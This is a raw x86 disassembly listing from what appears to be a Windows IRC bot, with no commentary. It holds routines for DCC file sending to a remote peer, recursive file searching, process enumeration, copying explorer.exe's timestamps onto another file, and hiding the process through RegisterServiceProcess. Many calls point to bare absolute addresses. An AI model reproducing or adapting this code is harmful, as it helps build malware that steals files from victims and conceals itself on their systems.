db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C440 proc near ; CODE XREF: sub_401BF9j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40C440
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_40C440 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C4E0 proc near ; CODE XREF: sub_40171Cj
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
var_A24 = byte ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C4E0
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014DD
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CA2E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_444600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40202C
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
nop
call near ptr 71AB3B91h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C5AC
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
call near ptr word_5F67AE
nop
add esp, 8
jmp loc_40C9D5
; ---------------------------------------------------------------------------
loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
nop
call near ptr 71AB2B66h
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_40C5FA
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C6A0
; ---------------------------------------------------------------------------
loc_40C5FA: ; CODE XREF: sub_40C4E0+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
call near ptr 71AB951Eh
nop
mov edx, [esp+0ABCh+var_AA0+2]
push edx
nop
call near ptr 71AB2B66h
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014DD
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C653: ; CODE XREF: sub_40C4E0+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C665
mov eax, 5Fh
jmp short loc_40C668
; ---------------------------------------------------------------------------
loc_40C665: ; CODE XREF: sub_40C4E0+17Cj
movsx eax, al
loc_40C668: ; CODE XREF: sub_40C4E0+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C653
push 1
push ebx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_40C6BD
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C6A0: ; CODE XREF: sub_40C4E0+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_40C9CF
; ---------------------------------------------------------------------------
loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017EE
push eax
nop
call near ptr 286033Ah
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C724
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call near ptr word_5F67AE
add esp, 8
jmp loc_40C9CF
; ---------------------------------------------------------------------------
loc_40C724: ; CODE XREF: sub_40C4E0+201j
push 0
push esi
call near ptr 2860000h
nop
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_40142E
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D809D
push eax
call sub_401E10
add esp, 4
push eax
nop
call near ptr 71AB2BF4h
push eax
nop
call near ptr 71AB2BC0h
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017EE
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_444A18
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_40168B
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C81D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_40C9BA
; ---------------------------------------------------------------------------
loc_40C81D: ; CODE XREF: sub_40C4E0+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C86D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_40C9BA
; ---------------------------------------------------------------------------
loc_40C86D: ; CODE XREF: sub_40C4E0+360j
push edi
call near ptr 71AB9639h
nop
test ebx, ebx
jz loc_40C925
loc_40C87C: ; CODE XREF: sub_40C4E0+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C887
mov ebp, ebx
loc_40C887: ; CODE XREF: sub_40C4E0+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
nop
call near ptr 2850000h
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
nop
call near ptr 2840BDDh
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
call near ptr 71AB428Ah
nop
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
nop
call near ptr 71AB615Ah
cmp eax, 1
jl loc_40C9EE
cmp edi, 1
jl loc_40C9EE
sub ebx, edi
jnz loc_40C87C
mov ebp, [esp+0ABCh+arg_0]
loc_40C925: ; CODE XREF: sub_40C4E0+396j
push esi
nop
call near ptr 284070Bh
lea ecx, [esp+0AB8h+var_A38]
call sub_40142E
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014DD
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014DD
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C9BA: ; CODE XREF: sub_40C4E0+338j
; sub_40C4E0+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j
; sub_40C4E0+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C9DC
loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
nop
call near ptr 71AB9639h
push esi
nop
call near ptr 2840000h
loc_40C9EE: ; CODE XREF: sub_40C4E0+427j
; sub_40C4E0+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
nop
call near ptr 71AB9639h
push 1
nop
call near ptr 2840000h
loc_40CA2E: ; CODE XREF: sub_40C4E0+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C4E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBB0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_40142E
mov eax, esi
pop esi
retn
sub_40CBB0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CBD0: ; CODE XREF: ___:loc_401B13j
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40CBF0 proc near ; CODE XREF: sub_402063j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CBF0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_40CBF0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CC90 proc near ; CODE XREF: sub_401BB8j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CC90
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014DD
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CE91
push ebx
lea ecx, [esp+284h+var_260]
call sub_40199C
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40202C
push 1
push offset asc_444600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+288h+var_247]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_444600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017EE
push eax
lea ecx, [esp+288h+var_232]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E47
push offset asc_444AEC ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CE0B
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E47
push offset dword_448F44
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CE0B: ; CODE XREF: sub_40CC90+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014DD
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014DD
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_40168B
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_40227A
push eax
lea edx, [esp+2A0h+var_20C]
push offset aFilesFoundD ; "Files Found: %d"
push edx
call near ptr word_5F67AE
nop
mov eax, [esp+2A4h+var_211]
add esp, 24h
cmp eax, ebx
jnz short loc_40CE7C
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_40168B
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_40152D
add esp, 10h
loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j
mov eax, [esp+280h+var_219]
push eax
call sub_401E3D
add esp, 4
push ebx
call near ptr 2840000h
nop
pop ebx
loc_40CE91: ; CODE XREF: sub_40CC90+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CC90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF40 proc near ; CODE XREF: sub_40199Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CF40
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CF40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CFC0: ; CODE XREF: ___:loc_40228Ej
push 0FFFFFFFFh
push offset loc_43A086
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40D040 proc near ; CODE XREF: sub_40227Aj
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_511AE4
push esi
push offset aS_1 ; "%s\\*"
push 104h
push eax
call edi
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 2880000h
nop
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D107
loc_40D090: ; CODE XREF: sub_40D040+C5j
test [esp+558h+var_548], 10h
jz short loc_40D0F7
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40D0AA
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D0F7
cmp al, 2Eh
jz short loc_40D0F7
loc_40D0AA: ; CODE XREF: sub_40D040+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_444684
push 104h
push ecx
call edi
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_40227A
add esp, 2Ch
mov ebp, eax
loc_40D0F7: ; CODE XREF: sub_40D040+55j
; sub_40D040+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
call near ptr 2870000h
nop
test eax, eax
jnz short loc_40D090
loc_40D107: ; CODE XREF: sub_40D040+4Ej
push ebx
call near ptr 286068Dh
nop
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_444684
push 104h
push eax
call edi
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 2880000h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D19B
loc_40D148: ; CODE XREF: sub_40D040+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_40152D
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
nop
call near ptr 2870000h
test eax, eax
jnz short loc_40D148
loc_40D19B: ; CODE XREF: sub_40D040+106j
push ebx
call near ptr 286068Dh
nop
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40D040 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D210 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_40D210 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+1Ch]
push 1
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+20h]
push 13h
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+3Ch]
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D3C0: ; CODE XREF: ___:004013CFj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
call near ptr 2890000h
nop
push eax
nop
call near ptr 2881331h
mov eax, dword_449080
test eax, eax
jz loc_40D4E3
mov ecx, dword_44907C
test ecx, ecx
jz loc_40D4E3
mov ecx, dword_448F48
test ecx, ecx
jz loc_40D4E3
push 0
push 2
call eax ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov dword_449078, eax
jz loc_40D4E3
push ebp
push offset dword_448F50
push eax
xor ebp, ebp
mov dword_448F50, 128h
call dword_44907C ; Process32First
test eax, eax
jz loc_40D4CC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_511AE0
push edi
loc_40D44D: ; CODE XREF: ___:0040D4C7j
mov edi, offset dword_448F74
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_448F74
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_448F74
add edx, ecx
push edx
call esi
add esp, 0Ch
test eax, eax
jz short loc_40D4B3
mov edi, offset dword_448F74
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_448F74
mov ecx, ebx
call sub_40168B
push eax
call esi
add esp, 0Ch
test eax, eax
jnz short loc_40D4B4
loc_40D4B3: ; CODE XREF: ___:0040D48Bj
inc ebp
loc_40D4B4: ; CODE XREF: ___:0040D4B1j
mov eax, dword_449078
push offset dword_448F50
push eax
call dword_448F48 ; Process32Next
test eax, eax
jnz short loc_40D44D
pop edi
pop esi
pop ebx
loc_40D4CC: ; CODE XREF: ___:0040D437j
mov ecx, dword_449078
push ecx
call near ptr 284070Bh
nop
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D4E3: ; CODE XREF: ___:0040D3E6j
; ___:0040D3F4j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D540: ; CODE XREF: ___:00401FAFj
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
nop
call near ptr 2890DDDh
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_5118F0
lea eax, [esp+38h]
push 80000000h
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D606
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
call near ptr 289095Eh
nop
mov ebx, dword_5118E0
push esi
call ebx
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D606
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
call near ptr 2890195h
nop
push esi
call ebx
loc_40D606: ; CODE XREF: ___:0040D5A9j
; ___:0040D5EBj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D660 proc near ; CODE XREF: sub_401B6Dj
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D660
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C71
push eax
nop
call near ptr 27F0000h
lea ecx, [esp+1A8h+var_16C]
call sub_4017EE
push eax
lea ecx, [esi+4]
call sub_4015E1
lea ecx, [esp+1A8h+var_184]
call sub_40142E
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C71
push eax
push 0
nop
call near ptr 2890000h
push eax
nop
call near ptr 2881331h
push offset aKernel32_dll_0 ; "kernel32.dll"
nop
call near ptr 27E09C7h
mov esi, eax
test esi, esi
jz short loc_40D751
mov edi, dword_511918
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi
